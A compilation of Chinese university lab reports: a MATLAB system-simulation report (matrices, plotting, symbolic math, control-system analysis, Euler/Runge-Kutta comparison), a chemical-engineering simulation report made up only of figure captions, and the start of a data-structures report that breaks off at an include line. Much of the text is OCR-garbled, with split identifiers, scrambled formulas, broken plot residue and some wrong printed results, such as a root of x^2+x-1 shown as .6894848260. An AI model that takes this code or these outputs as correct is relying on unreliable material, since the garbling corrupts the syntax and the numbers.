第一篇:中南大學系統(tǒng)仿真實驗報告
ans =
實驗一 MATLAB 中矩陣與多項式的基本運算 實驗任務 1.了解 MATLAB 命令窗口和程序文件的調(diào)用。?熟悉如下 MATLAB 的基本運算:
① 矩陣的產(chǎn)生、數(shù)據(jù)的輸入、相關元素的顯示; ② 矩陣的加法、乘法、左除、右除; ③ 特殊矩陣:單位矩陣、“ 1 ”矩陣、“ 0 ”矩陣、對角陣、隨機矩陣的產(chǎn)生和 運算; ④ 多項式的運算:多項式求根、多項式之間的乘除。
基本命令訓練 1、>> eye(2)ans = 1 0 0 1 >> eye(4)ans = 1 0 0 0 0 1 0 0 0 0 1 0 0 0 0 1 2、>> ones(2)1 1
ans =1 >> ones(4)ans = 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 >> ones(2,2)ans = 1 1 1 1 >> ones(2,3)ans = 1 1 1 1 1 1 >> ones(4,3)ans = 1 1 1 1 1 1 1 1 1 1 1 1 3、>> zeros(2)
0 0 0 0 >> zeros(4)ans = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> zeros(2,2)ans = 0 0 0 0 >> zeros(2,3)ans = 0 0 0 0 0 0 >> zeros(3,2)ans = 0 0 0 0 00 4、隨機陣 >> rand(2,3)ans = 0.2785 0.9575 0.1576 0.5469 0.9649 0.9706 >> rand(2,3)
ans = 0.9572 0.8003 0.4218 0.4854 0.1419 0.9157 5、>> diag(5)ans = 5 >> diag(5,5)ans = 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 >> diag(2,3)ans = 0 0 0 2 0 0 0 0 0 0 0 0 0 0 0 0 6、(inv(A)為求 A 的逆矩陣)>> B=[5 3 1;2 3 8;1 1 1],inv(B)3 1
1
ans =
0.6250 0.2500-2.6250-0.7500-0.5000 4.7500 0.1250 0.2500-1.1250
>> A=[2 3;4 4],B=[5 3;3 8],inv(A),inv(B);AB,A/B,inv(A)*B,B*inv(A)A = 2 3 4 4 B = 5 3 3 8 ans =-1.0000 0.7500 1.0000-0.5000 ans =-2.7500 3.0000 3.5000-1.0000 ans = 0.2258 0.2903 0.6452 0.2581 ans =-2.7500 3.0000
3.5000 -1.0000 ans =-2.0000 2.2500 5.0000-1.7500 7、>> p =[1,-6,-72,-27], roots(p)p = 1-6-72-27 ans = 12.1229-5.7345-0.3884 >> p=[2,3,6],roots(p)p = 2 3 6 ans =-0.7500 + 1.5612i-0.7500-1.5612i 8、(A 為 n*n 的方陣)>> A=[0 1 0;-4 4 0;-2 1 2],poly(A),B=sym(A),poly(B)A = 0 1 0-4 4 0-2 1 2 ans =-6 12-8
B = [ 0, 1, 0] [-4, 4, 0] [-2, 1, 2]
ans = x A 3-6*x A 2+12*x-8 9,、(conv 是多項式相乘,deconv 是多項式相除)>> u=[1 2 4 6 ],v=[5 0 0-6 7],conv(u,v)u = 1 2 4 6 v =0 0-6 7
ans =10 20 24-5-10-8 42
>> v=[1 2 4 6 ],u=[5 0 0-6 7],deconv(u,v)v = 1 2 4 6 u = 5 0 0-6 7 ans = 5-10 10、(點乘是數(shù)組的運算,沒有點的乘是矩陣運算)
>> a = [2 5;3 4], b =[3 1;4 7],a.*b,a*b a = 2 5 3 4 b = 3 1 4 7 ans = 6 5 12 28 ans = 26 37 25 31 >> a = [2 3];b = [4 7];a.*b = [8 21];a*b %錯誤 a*b“ = 29;11、(who 可以看到你用過的一些變量,來了)
>> who Your variables are: A B a ans b p u >> whos Name Size Bytes whos 是把該變量及所存儲的大小等信息都顯示出 Class Attributes 2x2 32 double
B 2x2 32 double a 1x2 16 double ans 1x2 16 double b 1x2 16 double p
1x3 24 double u 1x5 40 double v 1x4 32 double12、>> A=[2 5 3;6 5 4],disp(A),size(A),length(A)A = 2 5 3 6 5 4 2 5 3 6 5 4 ans = 2 3 ans = 3 實驗二 MATLAB 繪圖命令 實驗任務 熟悉 MATLAB 基本繪圖命令,掌握如下繪圖方法:.坐標系的選擇、圖形的繪制;?圖形注解(題目、標號、說明、分格線)的加入;3 ?圖形線型、符號、顏色的選取 基本命令訓練 1、>>t=[0:pi/360:2*pi];x=cos(t)+ cos(t*4);y=si n(t)+ sin(t*4);xlabel(”x 軸“);ylabel(”y 軸“);plot(y,x),grid;2、>> t=0:0.1:100;x=3*t;y=4*t;z=si n(2*t);plot3(x,y,z, ”g:“)
■15 i 0 5 0 05 1 1 5 2
3、>>x = linspace(-2*pi,2*pi,40);y=si n(x);stairs(x,y)4、>> t=[0:pi/360:2*pi];x=cos(t)+ cos(t*4)+ sin(t*4);y=si n(t)+ si n(t*4);plot(y,x, ”r:“);
xlabel(”x 軸“);ylabel(”y 軸“);
6、>>th=[0:pi/20:2*pi];x=exp(j*th);plot(real(x),imag(x),”r-.“);grid;text(0,0,”中心“);
5、>> th=[0:pi/1000:2*pi]”;r=cos(2*th);polar(th,r);title(“四葉草圖”)270 四葉草圖
7、>>x=-2:0.01:2;8、y=-2:0.01:2;9、[X,Y] = meshgrid(x,y);Z = Y.*exp(-X.A 2-Y.A 2);[C,h] = con tour(X, YZ);set(h,“ShowText”,“o n”,“TextStep”,get(h,“LevelStep”)*2)_ 1OS ?I ,5 2 ■n.s o o.s 8、>>x = 0:0.2:10;y = 2*x+3;subplot(411);plot(x,y);grid;title(“y 的原函數(shù)”);subplot(412);semilogy(x,y);grid;title(“對 y 取對數(shù)”);丫的原畫數(shù) 40----------1------------------------------------------1--------------------1--------------------1-----------------------------------------1--------------------1-------------------1--------
l| I p | il ■ | i| I 九 _____ 1-___ — ___ I ____ L ___ :…… :
___ J _
_______ L ___ u i| I |l I , il _-■」 “ j I ■I __ h-_____________ I I ■ Q 」 【 I 1
F I I I I II I I IT 10 1
□ 1 2 3 4 5 6 r 6 9 10 , 對 y 取對數(shù) 對弋觀對數(shù) subplot(413);semilogx(x,y);10 10 id 10 1lZ 10 w 10 10 40 20 0 對好對數(shù) ?掌握循環(huán)、分支語句的編寫,學會使用 look for、help 命令
grid;title(”對 x 取對數(shù)“);subplot(414);loglog(x,y);grid;title(”對 xy 均取對數(shù)“);9、>>x =-3:0.3:3;bar(x,exp(-x.*x),”g“)實驗三 MATLAB 程序設計 實驗任務 1 ?熟悉 MATLAB 程序設計的方法和思路;
程序舉例 1、>> f=[1,1];i=1;while f(i)+f(i+1)<1000 f(i+2)=f(i)+f(i+1);i=i+1;end f,i f = Columns 1 through 14 1 1 2 3 5 8 13 21 34 55 89 144 233 377 Columns 15 through 16 610 987 i = 15 2、>> m=3;n=4;for i=1:m for j=1:n a(i,j)=1/(i+j-1);end end format rat1/2 1/3 1/2 1/3 1/4 1/3 1/4 1/5(分數(shù)格式形式。用有理數(shù)逼近顯示數(shù)據(jù))>>m=5;n=4;for i=1:m for j=1:n a(i,j)=1/(i+j-1);end end format rat a a = 1 1/2 1/3 1/4 1/2 1/3 1/4 1/5 1/3 1/4 1/5 1/6 1/4 1/5 1/6 1/7 1/5 1/6 1/7 1/8 3、程序中沒有 format rat 命令時,如果上次運行結果沒有清除,輸出的結果就是上次運行的 結果!但是運用 clear 命令清楚之前的運行結果之后就會正常運行。
4、>> x=input(”請輸入 x 的值:’);if x==10 y=cos(x+1)+sqrt(x*x+1);else y=x*sqrt(x+sqrt(x));1/4 1/5 1/6
end y
請輸入 x 的值 :2 y = 2391/647 x=input(“請輸入 x 的值:’);if x==10 y= fprintf(” 不在定義域內(nèi),請重新輸入:
“);return else y=1/(x-10);end y 請輸入 x 的值 :2-1/8 5、>> p=[0 0 0 1 3 0 2 0 0 9];for i=1:length(p), if p(1)==0,p=p(2:length(p));end;end;p
p = Columns 1 through 5 3
0
0 Columns 6 through 7
0 9
>>p=[0 0 0 1 3 0 2 0 0 9];p(p==0)=[];p
p =3
6、>> e2(500)
ans =1 2 3 5 8 13 21 34 55 89 144 233
377 >> lookfor ffibno e2-ffibno 計算斐波那契亞數(shù)列的函數(shù)文件 >> help e2 ffibno 計算斐波那契亞數(shù)列的函數(shù)文件 n 可取任意自然數(shù) 程序如下(用法:
lookfor 關鍵詞 在所有 M 文件中找 “關鍵詞 ”,比如:
lookfor max(即尋找關鍵詞 “ max”)
其實就和我們平時用 CTRL+F 來查找關鍵詞”是一樣的 而 help 是顯示 matlab 內(nèi)置的幫助信息 用法:
help 命令,比如 help inv,作用就是調(diào)用 inv 這個命令的幫助)
程序設計題 用一個 MATLAB 語言編寫一個程序:輸入一個自然數(shù),判斷它是否是素數(shù),如果是,輸出“ It is one prime ”,如果不是,輸出“ It is n ot o ne prime.”。要求通 過調(diào)用子函數(shù)實現(xiàn)。
最好能具有如下功能:
①設計較好的人機對話界面,程序中 含有提示
性的輸入輸出語句。
②能實現(xiàn)循環(huán)操作,由操作者輸入相關命令來控制 是否繼續(xù)進行素數(shù)的判斷。
如果操作者希望停止這種判斷,則可以退出程序。
③ 如果所輸入的自然數(shù)是一個合數(shù),除了給出其不是素數(shù)的結論外,還應給出至少 一種其因數(shù)分解形式。例:輸入 6,因為 6 不是素數(shù)。則程序中除了有“ It is not one prime ”的結論外,還應有:“ 6=2*3 ”的說明。
function sushu while 1 x=input(” 請輸入一個自然數(shù) “);if x<2 disp(” 既不是質(zhì)數(shù)又不是合數(shù) “);Else if isprime(x)==1 disp(” 這是一個素數(shù) “);Else disp(” 這是一個合數(shù),可以因式分解為:
“)for n=2:sqrt(x)if rem(x,n)==0 num3=x;num1=n;num2=x/n;disp([num2str(num3),”=“,num2str(num1),”x“,num2str(num2)])End End End
end y=input(” 是否繼續(xù)判斷?繼續(xù)請按 1 ,按任意鍵退出 :
“); if y~=1 break end end 實驗四 MATLAB 的符號計算與 SIMULINK 的使用 實驗任務 1.掌握 MATLAB 符號計算的特點和常用基本命令;2.掌握 SIMULINK 的使用。
程序舉例 1.求矩陣對應的行列式和特征根 >> a=sym(”[a11 a12;a21 a22]“);da=det(a)ea=eig(a)da = a11*a22-a12*a21 ea = 1/2*a11+1/2*a22+1/2*(a11 A 2-2*a11*a22+a22 A 2+4*a12*a21)A(1 /2)1/2*a11+1/2*a22-1/2*(a11 A 2-2*a11*a22+a22 A 2+4*a12*a21)A(1 /2)a=sym(”[2 3;1 5]“);
da=det(a)ea=eig(a)da = 7 ea = 7/2+1/2*21A(1/2)7/2-1/2*21A(1/2)2.求方程的解(包括精確解和一定精度的解)>> r1=solve(”xA2+x-1“)rv=vpa(r1)rv4=vpa(r1,4)
rv20=vpa(r1,20)r1 = 1/2*5 八(1/2)-1/2-1/2*5 八(1/2)-1/2 rv =.6894848260-1.689484826 rv4 =.6180-1.618 rv20 =.689484820-1.68948482 3 . a=sym(”a“);b=sym(”b“);c=sym(w=10;x=5;y=-8;z=11;A=[a,b;c,d] B=[w,x;y,z] det(A)det(B)A = [ a, b] ”c“);d=sym(”d“);%定義 4 個符號變量 %定義 4 個數(shù)值變量 %建立符號矩陣 A %建立數(shù)值矩陣 B %計算符號矩陣 A 的行列式 %計算數(shù)值矩陣 B 的行列式
[ c, d]
X
10-8 11 ans = a*d-b*c ans = 150 4.? syms x y;s=(-7*x A 2-8*y A 2)*(-x A 2+3*y A 2);expand(s)% 對 s 展開 collect(s,x)% 對 s 按變量 x 合并同類項(無同類項)
factor(ans)% 對 ans 分解因式
ans = 7*xA4-13*xA2*yA2-24*yA4 ans = 7*xA4-13*xA2*yA2-24*yA4 ans =(8*yA2+7*xA2)*(xA2-3*yA2)5.對方程 AX=b 求解 >> A=[34,8,4;3,34,3;3,6,8];b=[4;6;2];X=linsolve(A,b)% 調(diào)用 linsolve 函數(shù)求解 Ab % 用另一種方法求解
0.0675 0.1614
diff(f)%未指定求導變量和階數(shù),按缺省規(guī)則處理
0.1037 ans = 0.0675 0.1614 0.1037 6 . 對方程組求解 a11*x1+a12*x2+a13*x3=b1 a21*x1+a22*x2+a23*x3=b2 a31*x1+a32*x2+a33*x3=b3 >>syms a11 a12 a13 a21 a22 a23 a31 a32 a33 b1 b2 b3;A=[a11,a12,a13;a21,a22,a23;a31,a32,a33];b=[b1;b2;b3];XX=Ab %用左除運算求解(X=linsolve(A,b)%調(diào)用 linsolve 函數(shù)求的解)XX =(a12*a23*b3-a12*b2*a33+a13*a32*b2-a13*a22*b3+b1*a22*a33-b1*a32*a23)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12*a 23)-(a11*a23*b3-a11*b2*a33-a21*a13*b3-a23*a31*b1+b2*a31*a13+a21*b1*a33)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12* a23)(a32*a21*b1-a11*a32*b2+a11*a22*b3-a22*a31*b1-a12*a21*b3+a31*a12*b2)/(a11*a22*a33-a11*a32*a23-a12*a21*a33+a32*a21*a13-a22*a31*a13+a31*a12*a 23)7 . syms a b t x y z;f=sqrt(1+exp(x));
%求 f 對 x 的二階導數(shù) %求 f 對 x 的三階導數(shù) %按參數(shù)方程求導公式求 y 對 x 的導數(shù) ans = 1/2/(1+exp(x))A(1/2)*exp(x)ans =-2*si n(x)-x*cos(x)ans =-3*cos(x)+x*si n(x)ans =-b*cos(t)/a/si n(t)三、SIMULINK 的使用
f=x*cos(x);diff(f,x,2)diff(f,x,3)f1=a*cos(t);f2=b*si n(t);diff(f2)/diff(f1)
diff(f)%未指定求導變量和階數(shù),按缺省規(guī)則處理
仿真圖: 波形圖: 其中: G i(R
0.14
實驗五 MATLAB 在控制系統(tǒng)分析中的應用 實驗任務 1.掌握 MATLAB 在控制系統(tǒng)時間響應分析中的應用;2.掌握 MATLAB 在系統(tǒng)根軌跡分析中的應用; 3.掌握 MATLAB 控制系統(tǒng)頻率分析中的應用; 4.掌握 MATLAB 在控制系統(tǒng)穩(wěn)定性分析中的應用 基本命令 1.step 2.impulse 3.in itial 4.Isim 5.rlocfi nd 6.bode 7.margin 8.nyquist 9.Nichols 10.cloop 程序舉例 1.求下面系統(tǒng)的單位階躍響應 1.5 G(s)
t >> num=[4];den=[1 , 1 , 4];step(num , den)[y , x , t]=step(num , den);tp=spli ne(y , t , max(y))% 計算峰值時間 max(y)% 計算峰值 tp = Step Response 0.5 Time(sec)p m 1.6062 ans = 1.4441 0.18 0.16
2.求如下系統(tǒng)的單位階躍響應 X i 0 1 X i 0 u X 2 6 5 X 2 1
>> a=[0,1;-6,-5];b=[0;1];c=[1,0];d=0;[y,x]=step(a,b,c,d);Plot(y)
1,0 X i X 2 3.求下面系統(tǒng)的單位脈沖響應: G(s)兒 >> num=[4];den=[1 , 1 ,4];impulse(nu m,de n)Time(sec)Response to Initial Conditions 4.已知二階系統(tǒng)的狀態(tài)方程為: e u p m A 0.25 0.2 0.15 0.1 0.05 0-0.05
L I 1-
r
-廠、、/ Impulse Response
c=[1 , 0] ;
d=[0];xO=[1 ,0] ; subplot(1 , 2,1);in itial(a , b , c ,d,x0)subplot(1 , 2,2);impulse(a , b , c , d):系統(tǒng)傳遞函數(shù)為: G(s)占 輸入正弦信號時,觀察輸出 信號的相位差。
>> num=[1];den=[1 ,1];t=0 : 0.01 : 10;u=s in(2*t);hold on plot(t,u, ”r“)lsim(nu m,de n,u,t)
Real Axis
6.有一二階系統(tǒng),求出周期為 4 秒的方波的輸出響應 2s 2
5s 1 ~2 s 2s 3 >>num=[2 5 1];den=[1 2 3];t=(0:.1:10);period=4;u=(rem(t,period)>=period./2);% 看 rem 函數(shù)功能 lsim(nu m,de n,u,t);7.已知開環(huán)系統(tǒng)傳遞函數(shù),繪制系統(tǒng)的根軌跡,并分析其穩(wěn)定性
G(s)k(s 2)(s 2
4s 3)2
>>num=[1 2];den 仁 [1 4 3];den=conv(de n1,de n1);figure(1)-6 rlocus(num,den)[k,p]= rlocfi nd(nu m,de n)l L l ■ 匚一 L — C--------------------
---------
-r t r r
-10-8-6-4-2 4 6 Root Locus 0 2 2 2
0 0 2 2--CPXA vyanma n-8 2.5 G(s)Lin ear Simulati on Results1.5 e 0.5-0.5-1-1.5-2 Time(sec)p m
impulse response(k=55)
5
figure(2)k=55;num 仁 k*[1 2];den=[1 4 3];den 1=c onv(de n,den);[nu m,de n]=cloop(nu m1,de n1,-1);impulse(nu m,de n)title(”impulse resp onse(k=55)“)-1.5-1 0 200 400 600 Time(sec)800 1000 1200 5 5
0 05
0 0
o
--x 10 8!-------
impulse resp on se(k=56)figure(3)k=56;num 仁 k*[1 2];den=[1 4 3];den 1=c onv(de n,den);[nu m,de n]=cloop(nu m1,de n1,-1);impulse(nu m,de n)-2-4-6-8 L
0 500 1000 Time(sec)title(”impulse resp on se(k=56)“)1500 2000 2500
Select a point in the graphics win dow selected_po int =-2.5924-0.0248i 0.7133-3.4160-2.5918-0.9961 + 0.4306i-0.9961-0.4306i Bode Diagram 8.作如下系統(tǒng)的 bode 圖 G(s)>> n=[1 , 1];d=[1 , 4,11 , 7];bode(n , d),grid on Frequency(rad/sec)s 1 s 3
4s 2
11s 7 9.系統(tǒng)傳函如下 G(s)s 1 0.5s e(s 2)3 求有理傳函的頻率響應,然后在同一張圖上繪出以四階伯德近似表示的系統(tǒng)頻 率響應 >> num=[1];de n=co nv([1 2],co nv([1 2],[1 2]));
w=logspace(-1,2);t=0.5;
ylabel(”gai n“);subplot(2,1,2);semilogx(w,p1,w,p2,”g--“);grid on;xlabel(”freque ncy“);ylabel(”phase“);10.已知系統(tǒng)模型為
求它的幅值裕度和相角裕度 >> n=[3.5];d=[1 2 3 2];[Gm,Pm,Wcg,Wcp]=margi n(n,d)
G(s)3.5 s 3
2s 2
3s 2 bode plot [m1,p1]=bode(nu m,de n, 2);p1=p1-t*w”*180/pi;[n 2,d2]=pade(t,4);nu mt=c onv(n2,nu m);den t=(c onv(de n, d2));2 freque xlabel(“freque
Gm =
1.1433 Pm =
7.1688 Wcg =
1.7323 Wcp =
1.6541
nyq uist(n, d1);hold on nyq uist(n, d2);nyq uist(n, d3);nyq uist(n, d4);Nyquist Diagram 80 |--------------------
--------------------[--------------------[---------
11.二階系統(tǒng)為: G(s)n s 2n S S 令 wn=1, 分別作出 E =2,1 , 0.707 , C A 5 y
a 時的 nyquist 曲線。
m >> n=[1];d 仁 [1 , 4,1];d2=[1 , 2 , 1] ; d3=[1 , 1.414,1];d4=[1,1,1];Nyquist Diagram Real Axis 12.已知系統(tǒng)的開環(huán)傳遞函數(shù)為
_一-”—一 一-一_一_ ~-60
005
S S
2)
S S32
S S
v vr ra an nk ky ya a
14.一多環(huán)系統(tǒng),其結構圖如下,使用 Nyquist 頻率曲線判斷系統(tǒng)的穩(wěn)定性。
16.7s(0.85s 1)(0.25s 1)(0.0625s 1)繪制系統(tǒng)的 Nyqusit 圖, 并討論系統(tǒng)的穩(wěn)定性.>> G=tf(1000,co nv([1,3,2],[1,5]));nyquist(G);axis(”square“)13.分別由 w 的自動變量和人工變量作下列系統(tǒng)的 nyquisF 曲線:
m
G(s)1 s(s 1)>> n=[1];d=[1 , 1 ,0];nyquist(n ,d);% 自動變量 n=[1];d=[1 , 1 ,0];w=[0.5 : 0.1 : 3];nyq uist(n , d , w);% 人工變量-2-1-1.5-0.9-0.8-0.7-0.6-0.5 Real Axis-0.4-0.3-0.2-0.1 5 5
--0 0
S SI IX XA A
u u^ ^a an nT T9 9a a
卩
G(s)
30 20 10 0
figure(2)[nu m2,de n2]=cloop(nu m,de n);impulse(nu m2,de n2);
>> k1=16.70.0125;z1=[0];p1=[-1.25-4-16];[nu m1,de n1]=zp2tf(z1,p1,k1);[nu m,de n]=cloop(nu m1,de n1);[z,p,k]=tf2zp(nu m,de n);p figure(1)nyq uist(nu m,de n)-2-1 Nyquist Diagram-0.5 0 0.5 Real Axis 1 1.5 1 0.5 s a 0 n g m-0.5-1-1.5 1.5 20 Impulse Resp onse-10.5969 +36.2148i-10.5969-36.2148i-0.0562 15.已知系統(tǒng)為: eanML—pm
-5-10-15 0 0.1 0.2 0.3 Time(sec)Nichols Chart 0.4 0.5 0.6-2 10 0 10 2
Open-Loop Phase(deg)Frequency(rad/sec)
G(s)s(s 1)作該系統(tǒng)的 nichols 曲線。
>> n=[1];d=[1 , 1 , 0];ni chols(n , d);16.已知系統(tǒng)的開環(huán)傳遞函數(shù)為: G(s)k s(s 1)(s 2)當 k=2 時,分別作 nichols 曲線和波特圖 >> num=1;den=conv(co nv([1 0],[1 1]),[0.5 1]);subplot(1,2,1);ni chols(nu m,de n);grid;B
% n ichols 曲線 G subplot(1,2,2);2 g=tf(nu m,de n);bode(feedback(g,1,-1));grid;Nichols Chart koflr ea M^hnaaM
msuvesaB—
50
--
00
-270 Bode Diagram
90--
% 波特圖 17.系統(tǒng)的開環(huán)傳遞函數(shù)為:
分別確定 k=2 和 k=10 時閉環(huán)系統(tǒng)的穩(wěn)定性 >> d 仁 [1 , 3,2,0];n 仁 [2];[nc1 , dc1]=cloop(n1 , d1 ,-1);roots(dc1)d2=d1;n2=[10];[nc2 , dc2]=cloop(n2 , d2,-1);roots(dc2)ans =-2.5214-0.2393 + 0.8579i-0.2393-0.8579i ans =-3.3089 0.1545 + 1.7316i 0.1545-1.7316i 18.系統(tǒng)的狀態(tài)方程為:
X 1 4 3 0 X 1 1 X 2 1 0 0 X 2 0 u X 3 0 1 0 X 3 0
X 1
y 0 1 2 x 2
X 3
G(s)k s(s 1)(s 2)
試確定系統(tǒng)的穩(wěn)定性。
>> a=[-4,-3,0;1,0,0;0,1,0];b=[1;0;0];c=[0,1,2];d=0;eig(a)% 求特征根 ran k(ctrb(a,b))ans = 0-1-3 ans = 3 實驗六連續(xù)系統(tǒng)數(shù)字仿真的基本算法 實驗任務 1.理解歐拉法和龍格-庫塔法的基本思想; 2 ?理解數(shù)值積分算法的計算精度、速度、穩(wěn)定性與步長的關系;程序舉例 1.取 h=0.2 ,試分別用歐拉法、RK2 法和 RK4 法求解微分方程的數(shù)值解,并 比較計算精度。
注:解析解:y(t).1 2t >> clear t(1)=0 ; y(1)=1;y_euler(1)=1;y_rk2(1)=1;y_rk4(1)=1;h=0.001;% 步長修改為 0.001 for k=1:5 y(t)y(t)y(0)2t y(t)1
t(k+1)=t(k)+h;y(k+1)=sqrt(1+2*t(k+1));end for k=1:5 y_euler(k+1)=y_euler(k)+h*(y_euler(k)-2*t(k)/y_euler(k));end for k=1:5 k1= y_rk2(k)-2*t(k)/y_rk2(k);k2=(y_rk2(k)+h*k1)-2*(t(k)+h)/(y_rk2(k)+h*k1);y_rk2(k+1)=y_rk2(k)+h*(k1+k2)/2;end for k=1:5 k1= y_rk4(k)-2*t(k)/y_rk4(k);k2=(y_rk4(k)+h*k1/2)-2*(t(k)+h/2)/(y_rk4(k)+h*k1/2);k3=(y_rk4(k)+h*k22)-2*(t(k)+h/2)/(y_rk4(k)+h*k2/2);k4=(y_rk4(k)+h*k3)-2*(t(k)+h)/(y_rk4(k)+h*k3);
y_rk4(k+1)=y_rk4(k)+h*(k1+2*k2+2*k3+k4)/6;end disp(” 時間 解析解 yt=[t“, y”, y_euler“, y_rk2”, y_rk4“];disp(yt)歐拉法 RK2 法 RK4 法 ”)時間 解析解 歐拉法 RK2 法 RK4法0 1.0000 1.0000 1.0000 1.0000 0.0010 1.0010 1.0010 1.0010 1.0010 0.0020 1.0020 1.0020 1.0020 1.0020 0.0030 1.0030 1.0030 1.0030 1.0030 0.0040 1.0040 1.0040 1.0040 1.0040 0.0050 1.0050 1.0050 1.0050 1.0050
y(t)2Ry(t)y(t)0 在 0 t 10 上的數(shù)字仿真解(已知:
y(0)y(0)0),并將不同步長下的仿真結果與解析解進行精度比較。
說明:
已知該微分方程的解析解分別為:
100,yt y t 100cost(當 R 0)100e 2t c°s 仝 t 10 ^ e*s in 仝 t 2 3 2(當 R 0.5)采用 RK4 法進行計算,選擇狀態(tài)變量: 2.考慮如下二階系統(tǒng):
x 1 y x 2 y 則有如下狀態(tài)空間模型及初值條件 x 1 x 2 x 1(0)100 x 2 x 1 2Rx 2 x 2(0)0 y x 1 采用 RK4 法進行計算。
>> clear h=input(“ 請輸入步長 h=”);M=round(10/h);t(1)=0;y_0(1)=100;y_05(1)=100;和 y_05 分別對應于為 R=0 和 R=0.5)x1(1)=100;x2(1)=0;y_rk4_0(1)=x1(1);y_rk4_05(1)=x1(1);% 求解析解 for k=1:M t(k+1)=t(k)+h;y_0(k+1)=100*cos(t(k+1));y_05(k+1)=100*exp(-t(k+1)/2).*cos(sqrt(3)/2*t(k+1))+100*sqrt(3)/3*exp(-t(k+1)/2).*si n(sqrt(3)/2*t(k+1));end% 輸入步長 % 置總計算步數(shù) % 置自變量初值 % 置解析解的初始值(y_0 % 置狀態(tài)向量初值 % 置數(shù)值解的初值
% 利用 RK4 法求解 % R=0 for k=1:M k11=x2(k);k12=-x1(k);k21=x2(k)+h*k12/2;k22=-(x1(k)+h*k11/2);k31=x2(k)+h*k22/2;k32=-(x1(k)+h*k21/2);k41=x2(k)+h*k32;k42=-(x1(k)+h*k31);x1(k+1)=x1(k)+h*(k11+2*k21+2*k31+k41)/6;x2(k+1)=x2(k)+h*(k12+2*k22+2*k32+k42)/6;y_rk4_0(k+1)=x1(k+1);end % R=0.5 for k=1:M k11=x2(k);k12=-x1(k)-x2(k);k21=x2(k)+h*k12/2;k22=-(x1(k)+h*k11/2)-(x2(k)+h*k12/2);k31=x2(k)+h*k22/2;k32=-(x1(k)+h*k21/2)-(x2(k)+h*k22/2);k41=x2(k)+h*k32;k42=-(x1(k)+h*k31)-(x2(k)+h*k32);x1(k+1)=x1(k)+h*(k11+2*k21+2*k31+k41)/6;x2(k+1)=x2(k)+h*(k12+2*k22+2*k32+k42)/6;y_rk4_05(k+1)=x1(k+1);end % 求出誤差最大值 err_0=max(abs(y_0-y_rk4_0));err_05=max(abs(y_05-y_rk4_05));% 輸出結果 disp(“ 最大誤差(R=0)
最大誤差(R=0.5)”)
err_max=[err_0,err_05];disp(err_max)
請輸入步長 h=0.5 最大誤差(R=0)
最大誤差(R=0.5)
0.4299 0.0460 沒運行一次程序,輸入一個步長,記得可到相應的最大誤差,將結果可列表如 下:
步長 h 0.0001 0.0005 0.001 0.005 0.01 0.05 0.1 0.5
F =0 5.4330 1.6969 1.0574 4.1107 6.6029 4.1439 6.6602 4.2988 差 最大誤 X 10-10 X 10-10 X 10-10 X 10-9 X 10-8 X 10-5 X 10-4 X 10-1
R=0.5 2.7649 6.8123 5.3753 4.0902 6.5425 4.1365 6.7152 4.5976 差 最大誤 X 10-11 X 10-12 X 10-12 X 10-10 X 10-9 X 10-6 X 10-5 X 10-2 從上表中可以看出,當步長 h=0.001 時,總誤差最小;當步長 h 小于 0.001 時,由于舍入誤差變大而使總誤差增加;當步長 h 大于 0.001 時,則由于截斷誤 差的增加也使得總誤差加大。另外,當系統(tǒng)的解變化激烈時(如 R=0),誤差對 步長的變化較為敏感;當系統(tǒng)的解變化平穩(wěn)時,步長的變化對誤差的影響就要緩 和得多。數(shù)值積分算法確定以后,在選擇步長時,需要綜合考慮。
第二篇:中南大學化工原理仿真實驗報告
化工原理計算機仿真實驗
班級:化學工程與工藝1102班
姓名:王翔
學號:1505110321
日期:2014年1月1日
本套軟件系統(tǒng)包括8個單元仿真實驗:
實驗一 離心泵性能的測試
實驗二 管道阻力實驗
實驗三 傳熱實驗
實驗四 吸收實驗
實驗五 流體流動形態(tài)的觀測
實驗六 柏努利方程實驗
實驗七 干燥實驗
實驗八 精餾實驗
以下是實驗模擬觀測過程和計算機生成的實驗報告。
圖1 離心泵性能的測試 觀察氣蝕現(xiàn)象(1)
圖2 離心泵性能的測試 觀察氣蝕現(xiàn)象(2)
圖3 離心泵性能的測試 離心泵特性曲線測定實驗報告(1)
圖4 離心泵性能的測試 離心泵特性曲線測定實驗報告(2)
圖5 離心泵性能的測試 離心泵特性曲線測定實驗報告(3)
圖6 離心泵性能的測試 離心泵特性曲線測定實驗報告(4)
圖7 管道阻力的測定實驗報告(1)
圖8 管道阻力的測定實驗報告(2)
圖9 管道阻力的測定實驗報告(3)
圖10 傳熱實驗
圖11 傳熱實驗報告(1)
圖12 傳熱實驗報告(2)
圖13 傳熱實驗報告(3)
圖14 傳熱實驗報告(4)
圖15 吸收實驗 觀察液泛現(xiàn)象
圖16 吸收實驗報告
圖17 液體流動形態(tài)的觀測 觀察滯留形態(tài)
圖18 液體流動形態(tài)的觀測實驗報告
圖19 柏努利方程實驗 觀察測壓孔與水流方向方位角與水位變化(1)
圖20 柏努利方程實驗 觀察測壓孔與水流方向方位角與水位變化(2)
圖21 干燥實驗報告(1)
圖22 干燥實驗報告(2)
圖23 干燥實驗報告(3)
圖24 干燥實驗報告(4)
圖25 精餾實驗 動態(tài)平衡調(diào)整
圖26 精餾實驗報告(1)
圖27 精餾實驗報告(2)
第三篇:中南大學 數(shù)據(jù)結構實驗報告
數(shù)據(jù)結構實驗報告
專業(yè)班級: 指導老師:余臘生 姓
名: 學
號: 實驗一 單鏈表的基本操作的實現(xiàn)
一、實驗目的
掌握單鏈表的基本操作:建立、插入、刪除、查找等運算。
二、實驗儀器
安裝VC++的PC機。
三、實驗原理
利用線性表的特性以及其鏈式存儲結構特點對線性表進行相關操作。
四、實驗內(nèi)容
程序中演示了單鏈表的創(chuàng)建、插入、刪除和查找。程序如下:
#include
